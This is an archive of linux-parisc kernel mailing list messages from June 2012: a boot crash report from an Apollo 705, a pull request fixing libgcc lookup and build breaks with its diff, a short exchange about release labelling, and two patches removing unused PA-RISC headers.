> But we should be deriving the location of libgcc in the same way as all
> the other archs, so fix by adding a LIBGCC variable which is evaluated
> in the makefile
It actually took me some time to realise why the formar approach was wrong.
It is still morning here..

Thanks for fixing this!

Acked-by: Sam Ravnborg <sam@ravnborg.org>

	Sam
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rolf Eike Beer" <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: 3.4.1 fails to boot on Apollo 705 in paging_init
Date: Wed, 6 Jun 2012 14:55:40 +0200
Lines: 70
Approved: news@gmane.org
Message-ID: <e69c1188b0a31ea587fa1faaeb72c712.squirrel@webmail.sf-mail.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1338987380 27321 80.91.229.3 (6 Jun 2012 12:56:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 6 Jun 2012 12:56:20 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jun 06 14:55:46 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ScFm3-00076T-89
	for glpp-linux-parisc@plane.gmane.org; Wed, 06 Jun 2012 14:55:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752173Ab2FFMzn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 6 Jun 2012 08:55:43 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:52041 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751146Ab2FFMzm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 6 Jun 2012 08:55:42 -0400
Original-Received: (qmail 15691 invoked by uid 81); 6 Jun 2012 12:55:40 -0000
Original-Received: from 80.150.94.234
        (SquirrelMail authenticated user eike@sf-mail.de)
        by webmail.sf-mail.de with HTTP;
        Wed, 6 Jun 2012 14:55:40 +0200
User-Agent: SquirrelMail/1.4.22
X-Priority: 3 (Normal)
Importance: Normal
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4484
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4484>

Linux version 3.4.1 (root@voyager) (gcc version 4.5.3 (Gentoo 4.5.3-r2
p1.5, pie-0.4.7) ) #1 Wed Jun 6 14:15:43 CEST 2012
unwind_init: start = 0x1044e000, end = 0x1047faf0, entries = 12719
FP[0] enabled: Rev 3 Model 0
The 32-bit Kernel has started...
bootconsole [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: Snake.
model 00003020 00000481 00000000 00000000 77aac223 ffffffff 00000004
0000000d 00000000
vers  00000003
model 9000/705
Total Memory: 64 MB
      _______________________________
     < Your System ate a SPARC! Gah! >
      -------------------------------
             \   ^__^
                 (__)\       )\/\
                  U  ||----w |
                     ||     ||
swapper (pid 0): Protection id trap (code 7)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001110 Not tainted
r00-03  0004000e 0004000e 1050104c 00000000
r04-07  00000001 104841cc 1048e000 104917b8
r08-11  104917d4 1048e024 00000000 00100000
r12-15  00004000 00000000 00537fff 104b58c8
r16-19  104ec800 00004000 1048e000 0000000e
r20-23  00000000 00000000 00000000 00000000
r24-27  00000001 00000000 00000000 1048e000
r28-31  00000000 00000000 10484280 00000000
sr00-03  00000000 00000000 00000000 00000000
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1010077c 10100780
 IIR: e840c000    ISR: 00000000  IOR: 1050104c
 CPU:        0   CR30: 10484000 CR31: 000000e0
 ORIG_R28: 00000000
 IAOQ[0]: .L21+0x0/0x8
 IAOQ[1]: .L21+0x4/0x8
 RP(r2): paging_init+0x788/0x824
Backtrace:
 [<1050104c>] paging_init+0x788/0x824
 [<10501688>] setup_arch+0x5c/0x88
 [<104fd8d0>] start_kernel+0x80/0x370
 [<1010f218>] start_parisc+0x4c/0x68

Backtrace:
 [<1010f940>] die_if_kernel+0x138/0x1b0
 [<10110094>] handle_interruption+0x46c/0x614
 [<10104078>] intr_check_sig+0x0/0x34
 [<10100780>] .L21+0x4/0x8

---[ end trace 139ce121c98e96c9 ]---
      _______________________________
     < Your System ate a SPARC! Gah! >
      -------------------------------
             \   ^__^
                 (__)\       )\/\
                  U  ||----w |
                     ||     ||
swapper (pid 0): Protection id trap (code 7)
die_if_kernel() recursion detected.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc fixes for 3.4-rc1
Date: Thu, 07 Jun 2012 14:38:13 +0900
Lines: 73
Approved: news@gmane.org
Message-ID: <1339047493.26595.7.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1339047510 1548 80.91.229.3 (7 Jun 2012 05:38:30 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 7 Jun 2012 05:38:30 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jun 07 07:38:28 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ScVQO-0001aF-0E
	for glk-linux-kernel-3@plane.gmane.org; Thu, 07 Jun 2012 07:38:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758425Ab2FGFiT (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 7 Jun 2012 01:38:19 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:59999 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755128Ab2FGFiR (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 7 Jun 2012 01:38:17 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 83E6B8EE118;
	Wed,  6 Jun 2012 22:38:16 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id jgXmtqq5wsrf; Wed,  6 Jun 2012 22:38:16 -0700 (PDT)
Original-Received: from [10.1.105.200] (p40219-ipngn1201hodogaya.kanagawa.ocn.ne.jp [180.13.151.219])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 942FD8EE0A5;
	Wed,  6 Jun 2012 22:38:15 -0700 (PDT)
X-Mailer: Evolution 3.2.3 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1309242 gmane.linux.ports.parisc:4485
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1309242>

This is a set of three bug fixes for minor build breakages that got
introduced just before 3.4-rc1 was released.

The patches are here:

git://git.kernel.org/pub/scm/linux/kernel/git/jejb/parisc-2.6.git parisc-fixes

The short changelog is:

James Bottomley (3):
      fix code to find libgcc
      fix compile break in use of lib/strncopy_from_user.c
      fix missing TAINT_WARN problem

And the diffstat

 arch/parisc/Makefile           |    3 ++-
 arch/parisc/include/asm/Kbuild |    1 +
 arch/parisc/include/asm/bug.h  |    2 ++
 3 files changed, 5 insertions(+), 1 deletion(-)

Full diff is below.

James

---

diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index dbc3850..5707f1a 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -21,6 +21,7 @@ KBUILD_DEFCONFIG := default_defconfig
 
 NM		= sh $(srctree)/arch/parisc/nm
 CHECKFLAGS	+= -D__hppa__=1
+LIBGCC		= $(shell $(CC) $(KBUILD_CFLAGS) -print-libgcc-file-name)
 
 MACHINE		:= $(shell uname -m)
 ifeq ($(MACHINE),parisc*)
@@ -79,7 +80,7 @@ kernel-y			:= mm/ kernel/ math-emu/
 kernel-$(CONFIG_HPUX)		+= hpux/
 
 core-y	+= $(addprefix arch/parisc/, $(kernel-y))
-libs-y	+= arch/parisc/lib/ `$(CC) -print-libgcc-file-name`
+libs-y	+= arch/parisc/lib/ $(LIBGCC)
 
 drivers-$(CONFIG_OPROFILE)		+= arch/parisc/oprofile/
 
diff --git a/arch/parisc/include/asm/Kbuild b/arch/parisc/include/asm/Kbuild
index 19a434f..4383707 100644
--- a/arch/parisc/include/asm/Kbuild
+++ b/arch/parisc/include/asm/Kbuild
@@ -1,3 +1,4 @@
 include include/asm-generic/Kbuild.asm
 
 header-y += pdc.h
+generic-y += word-at-a-time.h
diff --git a/arch/parisc/include/asm/bug.h b/arch/parisc/include/asm/bug.h
index 72cfdb0..62a3333 100644
--- a/arch/parisc/include/asm/bug.h
+++ b/arch/parisc/include/asm/bug.h
@@ -1,6 +1,8 @@
 #ifndef _PARISC_BUG_H
 #define _PARISC_BUG_H
 
+#include <linux/kernel.h>	/* for BUGFLAG_TAINT */
+
 /*
  * Tell the user there is some problem.
  * The offending file and line are encoded in the __bug_table section.




From - Thu Nov 08 21:08:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg KH <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [GIT PULL] parisc fixes for 3.4-rc1
Date: Thu, 7 Jun 2012 14:52:56 +0900
Lines: 8
Approved: news@gmane.org
Message-ID: <20120607055256.GA15428@kroah.com>
References: <1339047493.26595.7.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1339048402 6946 80.91.229.3 (7 Jun 2012 05:53:22 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 7 Jun 2012 05:53:22 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jun 07 07:53:18 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ScVeh-0008Tm-W2
	for glk-linux-kernel-3@plane.gmane.org; Thu, 07 Jun 2012 07:53:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759810Ab2FGFxG (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 7 Jun 2012 01:53:06 -0400
Original-Received: from mail-pz0-f46.google.com ([209.85.210.46]:42426 "EHLO
	mail-pz0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755189Ab2FGFxB (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 7 Jun 2012 01:53:01 -0400
Original-Received: by dady13 with SMTP id y13so377652dad.19
        for <linux-kernel@vger.kernel.org>; Wed, 06 Jun 2012 22:53:01 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent
         :x-gm-message-state;
        bh=WhNVqI31VLYlV+OU0QN/oQ9GbIB8CqbtjXFaL1/5EQ8=;
        b=SSjpDZEusPlzz+HH/xVcERDO0LQUsRRZMuuj/156BLOubY73ISOczuCCgNJH8aA7gI
         IctVm7VbpJEIJpjaf2V7Nzy1mDoIkGte25zfDXxleFKOoNF1Cki9VqITWn+zLOwLJvv/
         Y9I84CfMEZQweT7HiN9BtDfhvU+Q0l+sSJNxYEQd9dVkhEP3HyaN6qYKvy13/5RfoESR
         lln0lASMnwVl2JbbaHSRghOeW+mDOy3n4mTy5O6anCVv1K8cAvkdCWMjkPAD1RcWSCs5
         eSyDUXeWy/aE2VP1K9oNq/PdYed6G2ATS9vjwXkjTAA+O6xDi2G9WyExGPQd3zdttwFr
         I64Q==
Original-Received: by 10.68.190.131 with SMTP id gq3mr6048207pbc.17.1339048381608;
        Wed, 06 Jun 2012 22:53:01 -0700 (PDT)
Original-Received: from localhost (p31127-ipngn1401hodogaya.kanagawa.ocn.ne.jp. [180.13.162.127])
        by mx.google.com with ESMTPS id pg3sm2948927pbc.2.2012.06.06.22.52.58
        (version=TLSv1/SSLv3 cipher=OTHER);
        Wed, 06 Jun 2012 22:53:00 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1339047493.26595.7.camel@dabdike.int.hansenpartnership.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Gm-Message-State: ALoCoQkwEumkdki/eEZtWH3gHmthJYQ+iKdJKB4Ql5Wo2rrQp4YhUOghX7Uv53RoR9/FDeID6SqG
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1309246 gmane.linux.ports.parisc:4486
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1309246>

On Thu, Jun 07, 2012 at 02:38:13PM +0900, James Bottomley wrote:
> This is a set of three bug fixes for minor build breakages that got
> introduced just before 3.4-rc1 was released.

3.4-rc1 or 3.5-rc1?  I ask as if this is 3.4-rc1, these should go to the
stable tree, right?

greg k-h

From - Thu Nov 08 21:08:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] parisc fixes for 3.4-rc1
Date: Thu, 07 Jun 2012 14:59:00 +0900
Lines: 19
Approved: news@gmane.org
Message-ID: <1339048740.26595.8.camel@dabdike.int.hansenpartnership.com>
References: <1339047493.26595.7.camel@dabdike.int.hansenpartnership.com>
	 <20120607055256.GA15428@kroah.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1339048751 8981 80.91.229.3 (7 Jun 2012 05:59:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 7 Jun 2012 05:59:11 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: Greg KH <gregkh@linuxfoundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 07 07:59:10 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ScVkO-0000oN-AV
	for glpp-linux-parisc@plane.gmane.org; Thu, 07 Jun 2012 07:59:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754975Ab2FGF7E (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 7 Jun 2012 01:59:04 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:60035 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751573Ab2FGF7C (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 7 Jun 2012 01:59:02 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 661D48EE118;
	Wed,  6 Jun 2012 22:59:02 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id FmEP7RaWQW_e; Wed,  6 Jun 2012 22:59:02 -0700 (PDT)
Original-Received: from [10.1.105.200] (p40219-ipngn1201hodogaya.kanagawa.ocn.ne.jp [180.13.151.219])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 51C0C8EE0A5;
	Wed,  6 Jun 2012 22:59:01 -0700 (PDT)
In-Reply-To: <20120607055256.GA15428@kroah.com>
X-Mailer: Evolution 3.2.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4487 gmane.linux.kernel:1309248
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4487>

On Thu, 2012-06-07 at 14:52 +0900, Greg KH wrote:
> On Thu, Jun 07, 2012 at 02:38:13PM +0900, James Bottomley wrote:
> > This is a set of three bug fixes for minor build breakages that got
> > introduced just before 3.4-rc1 was released.
> 
> 3.4-rc1 or 3.5-rc1?  I ask as if this is 3.4-rc1, these should go to the
> stable tree, right?

Sorry, mislabel ... it's 3.5-rc1 ... they all fix breaks that were
introduced within the last week, so no need for a stable backport.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bolle <pebolle@tiscali.nl>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] parisc: remove unused and empty header
Date: Sat, 09 Jun 2012 22:08:59 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <1339272539.30984.21.camel@x61.thuisdomein>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1339272600 3103 80.91.229.3 (9 Jun 2012 20:10:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 9 Jun 2012 20:10:00 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Jun 09 22:09:59 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1SdRyw-0007Wx-Q9
	for glk-linux-kernel-3@plane.gmane.org; Sat, 09 Jun 2012 22:09:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752371Ab2FIUJE (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 9 Jun 2012 16:09:04 -0400
Original-Received: from cpsmtpb-ews02.kpnxchange.com ([213.75.39.5]:3633 "EHLO
	cpsmtpb-ews02.kpnxchange.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751080Ab2FIUJB (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sat, 9 Jun 2012 16:09:01 -0400
Original-Received: from cpsps-ews04.kpnxchange.com ([10.94.84.171]) by cpsmtpb-ews02.kpnxchange.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 9 Jun 2012 22:08:59 +0200
Original-Received: from CPSMTPM-TLF104.kpnxchange.com ([195.121.3.7]) by cpsps-ews04.kpnxchange.com with Microsoft SMTPSVC(7.5.7601.17514);
	 Sat, 9 Jun 2012 22:09:00 +0200
Original-Received: from [192.168.1.102] ([212.123.169.34]) by CPSMTPM-TLF104.kpnxchange.com with Microsoft SMTPSVC(7.5.7601.17514);
	 Sat, 9 Jun 2012 22:08:59 +0200
X-Mailer: Evolution 3.2.3 (3.2.3-3.fc16) 
X-OriginalArrivalTime: 09 Jun 2012 20:08:59.0707 (UTC) FILETIME=[B51C60B0:01CD467B]
X-RcptDomain: vger.kernel.org
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1310539 gmane.linux.ports.parisc:4488
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1310539>

Nothing includes real.h. That's unsurprising, since it's basically
empty. This has apparently been the case since (at least) v2.6.12-rc2.
It can safely be removed.

Signed-off-by: Paul Bolle <pebolle@tiscali.nl>
---
Tested only by prodding at the (history of the) tree with various git commands.

 arch/parisc/include/asm/real.h |    5 -----
 1 files changed, 0 insertions(+), 5 deletions(-)
 delete mode 100644 arch/parisc/include/asm/real.h

diff --git a/arch/parisc/include/asm/real.h b/arch/parisc/include/asm/real.h
deleted file mode 100644
index 82acb25..0000000
--- a/arch/parisc/include/asm/real.h
+++ /dev/null
@@ -1,5 +0,0 @@
-#ifndef _PARISC_REAL_H
-#define _PARISC_REAL_H
-
-
-#endif
-- 
1.7.7.6


From - Thu Nov 08 21:08:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bolle <pebolle@tiscali.nl>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc: remove unused header
Date: Sat, 09 Jun 2012 23:04:01 +0200
Lines: 70
Approved: news@gmane.org
Message-ID: <1339275841.30984.24.camel@x61.thuisdomein>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1339275852 23727 80.91.229.3 (9 Jun 2012 21:04:12 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 9 Jun 2012 21:04:12 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 09 23:04:11 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SdSpI-0001Wl-D0
	for glpp-linux-parisc@plane.gmane.org; Sat, 09 Jun 2012 23:04:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752109Ab2FIVEE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 9 Jun 2012 17:04:04 -0400
Original-Received: from cpsmtpb-ews01.kpnxchange.com ([213.75.39.4]:3438 "EHLO
	cpsmtpb-ews01.kpnxchange.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751366Ab2FIVED (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 9 Jun 2012 17:04:03 -0400
Original-Received: from cpsps-ews26.kpnxchange.com ([10.94.84.192]) by cpsmtpb-ews01.kpnxchange.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 9 Jun 2012 23:04:01 +0200
Original-Received: from CPSMTPM-TLF101.kpnxchange.com ([195.121.3.4]) by cpsps-ews26.kpnxchange.com with Microsoft SMTPSVC(7.5.7601.17514);
	 Sat, 9 Jun 2012 23:04:01 +0200
Original-Received: from [192.168.1.102] ([212.123.169.34]) by CPSMTPM-TLF101.kpnxchange.com with Microsoft SMTPSVC(7.5.7601.17514);
	 Sat, 9 Jun 2012 23:04:01 +0200
X-Mailer: Evolution 3.2.3 (3.2.3-3.fc16) 
X-OriginalArrivalTime: 09 Jun 2012 21:04:01.0697 (UTC) FILETIME=[65401110:01CD4683]
X-RcptDomain: vger.kernel.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4489 gmane.linux.kernel:1310540
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4489>

Nothing uses compat_rt_sigframe.h anymore. Commit
f671c45df23005692daa200aba768c642fb14ef2 ("[PARISC] Arch-specific compat
signals") removed all includes of that header. It also basically copied
that entire header verbatim into signal32.h. It seems it was just
forgotten to also remove compat_rt_sigframe.h from the tree. Remove that
header now.

Signed-off-by: Paul Bolle <pebolle@tiscali.nl>
---
Tested mostly by, again, prodding at the (history of the) tree with
various git commands.

 arch/parisc/include/asm/compat_rt_sigframe.h |   50 --------------------------
 1 files changed, 0 insertions(+), 50 deletions(-)
 delete mode 100644 arch/parisc/include/asm/compat_rt_sigframe.h

diff --git a/arch/parisc/include/asm/compat_rt_sigframe.h b/arch/parisc/include/asm/compat_rt_sigframe.h
deleted file mode 100644
index 81bec28..0000000
--- a/arch/parisc/include/asm/compat_rt_sigframe.h
+++ /dev/null
@@ -1,50 +0,0 @@
-#include<linux/compat.h>
-#include<linux/compat_siginfo.h>
-#include<asm/compat_ucontext.h>
-
-#ifndef _ASM_PARISC_COMPAT_RT_SIGFRAME_H
-#define _ASM_PARISC_COMPAT_RT_SIGFRAME_H
-
-/* In a deft move of uber-hackery, we decide to carry the top half of all
- * 64-bit registers in a non-portable, non-ABI, hidden structure.
- * Userspace can read the hidden structure if it *wants* but is never
- * guaranteed to be in the same place. Infact the uc_sigmask from the 
- * ucontext_t structure may push the hidden register file downards
- */
-struct compat_regfile {
-	/* Upper half of all the 64-bit registers that were truncated
-	   on a copy to a 32-bit userspace */
-	compat_int_t rf_gr[32];
-	compat_int_t rf_iasq[2];
-	compat_int_t rf_iaoq[2];
-	compat_int_t rf_sar;
-};
-
-#define COMPAT_SIGRETURN_TRAMP 4
-#define COMPAT_SIGRESTARTBLOCK_TRAMP 5 
-#define COMPAT_TRAMP_SIZE (COMPAT_SIGRETURN_TRAMP + COMPAT_SIGRESTARTBLOCK_TRAMP)
-
-struct compat_rt_sigframe {
-	/* XXX: Must match trampoline size in arch/parisc/kernel/signal.c 
-	        Secondary to that it must protect the ERESTART_RESTARTBLOCK
-		trampoline we left on the stack (we were bad and didn't 
-		change sp so we could run really fast.) */
-	compat_uint_t tramp[COMPAT_TRAMP_SIZE];
-	compat_siginfo_t info;
-	struct compat_ucontext uc;
-	/* Hidden location of truncated registers, *must* be last. */
-	struct compat_regfile regs; 
-};
-
-/*
- * The 32-bit ABI wants at least 48 bytes for a function call frame:
- * 16 bytes for arg0-arg3, and 32 bytes for magic (the only part of
- * which Linux/parisc uses is sp-20 for the saved return pointer...)
- * Then, the stack pointer must be rounded to a cache line (64 bytes).
- */
-#define SIGFRAME32		64
-#define FUNCTIONCALLFRAME32	48
-#define PARISC_RT_SIGFRAME_SIZE32					\
-	(((sizeof(struct compat_rt_sigframe) + FUNCTIONCALLFRAME32) + SIGFRAME32) & -SIGFRAME32)

From - Thu Nov 08 21:08:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
